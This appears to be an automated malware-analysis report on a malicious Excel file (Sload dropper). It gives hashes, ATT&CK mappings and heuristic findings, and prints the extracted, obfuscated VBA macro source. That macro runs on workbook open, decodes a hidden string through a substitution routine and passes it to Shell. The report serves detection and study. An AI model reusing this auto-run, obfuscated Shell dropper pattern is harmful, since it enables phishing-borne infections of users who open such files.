Xls.Dropper.Sload-6923109-0 — Office (OLE) malware analysis

Static analysis result for SHA-256 4e886f6fac9819cb…

MALICIOUS

Office (OLE)

53.0 KB Created: 2018-10-16 16:44:32 Authoring application: Microsoft Excel First seen: 2020-02-04
MD5: 3bc1e46d91facbae9bfa5e364b72f98c SHA-1: ddbd4584aaaf3dcd2a235f5488f394812f149221 SHA-256: 4e886f6fac9819cbecaa4df4fedaeb33ffc6cef1546f3865870db0c7d28f78f6
190 Risk Score

Malware Insights

Xls.Dropper.Sload-6923109-0 · confidence 90%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The critical OLE_VBA_SHELL heuristic indicates the VBA macro uses the Shell() function, and the Workbook_Open event is present, suggesting automatic execution upon opening. The ClamAV detection name 'Xls.Dropper.Sload-6923109-0' further supports its nature as a dropper. The macro likely attempts to download and execute a second-stage payload, as suggested by the LoadLibrary API reference.

Heuristics 6

  • ClamAV: Xls.Dropper.Sload-6923109-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Sload-6923109-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    summer = "36"
Shell jwin, f_str
summer = "62"
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Sub Workbook_Open()
A1 = "890"
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.day.com/dam/1.0 In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3799 bytes
SHA-256: ad8993043d0f2ba7c2bca533771b501ae627941c7ec4da5ef56a9ca7c60dc8f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
A1 = "890"
a2 = "160000"
task_replacements a2
a = "exit " + a2
End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "size"
Attribute VB_Base = "0{E5F6B8D7-D789-47BA-A0B9-17EF48371E35}{FA476992-D365-4B35-8800-693725767EA7}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub tryLoadLibrary_Change()
task_scrub_sheet
End Sub

Private Sub steps_Change()
jwin = "1021"
hfile = 30 * 100
jwin = "22"
jwin = "70"
summer = "54"
summer = "35"
summer = "57"
jwin = "75"
 'found fields to cleanup data
jwin = "52"
jwin = "19"
jwin = "92"
f_str = hfile - 10 * 300
jwin = "41"
jwin = "86"
jwin = size.steps
summer = "7"
summer = "36"
Shell jwin, f_str
summer = "62"
summer = "10"
summer = "80"
summer = "3"
summer = "28"
summer = "56"
summer = "29"
summer = "33"
jwin = "70"
jwin = "68"
jwin = "60"
jwin = "74"
jwin = "91"
jwin = "61"
jwin = "87"
jwin = "62"
jwin = "75"
jwin = "94"
jwin = "42"
jwin = "64"
jwin = "73"
jwin = "51"
jwin = "9"
jwin = "21"
End Sub



Attribute VB_Name = "Module1"
'create module by Boltom

Sub task_sales_group(HANDLE, ByRef state_min)
state_min = ""
If HANDLE < 1 Then
stop_searching size.further, Len(size.further) + HANDLE, state_min
Else
stop_searching size.further, HANDLE, state_min
End If
End Sub

Sub task_scrub_sheet()
up1 = ""
task_format_accounting size.wryh, up1
With size
.cppc = up1
.steps = .cppc
End With
End Sub

Sub task_format_accounting(ARG2, ByRef control)
control = ""
sum2 = 1
NewFunc sum2, control, ARG2
End Sub

Sub NewFunc(ByRef A1, ByRef Arg1, opcode)
aj = Len(opcode)
If A1 <= aj Then
ai = ""
stop_searching opcode, A1, ai
char2 = 1
steps_Change ai, char2
up2 = ""
task_sales_group char2 - 2, up2
Arg1 = Arg1 + up2
A1 = A1 + 1
NewFunc A1, Arg1, opcode
End If
End Sub

Sub stop_searching(second, ARG2, ByRef pointA)
pointA = Right(Left(second, ARG2), 1)
End Sub

Sub task_replacements(A1)
size.tryLoadLibrary = A1
End Sub

Sub task_formulas(ByRef a2, ByRef Arg1, fpSymGetLineFromAddr64)
have = 1
have = Len(size.further)
If a2 < have Then
    b1 = ""
    stop_searching size.further, a2, b1
    If fpSymGetLineFromAddr64 <> b1 Then
    a2 = a2 + 1
    task_formulas a2, Arg1, fpSymGetLineFromAddr64
    Else
    Arg1 = a2
    End If
End If
End Sub

Sub steps_Change(SIGUSR2, ByRef ACell)
k = 1
ACell = 1
task_formulas k, ACell, SIGUSR2
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.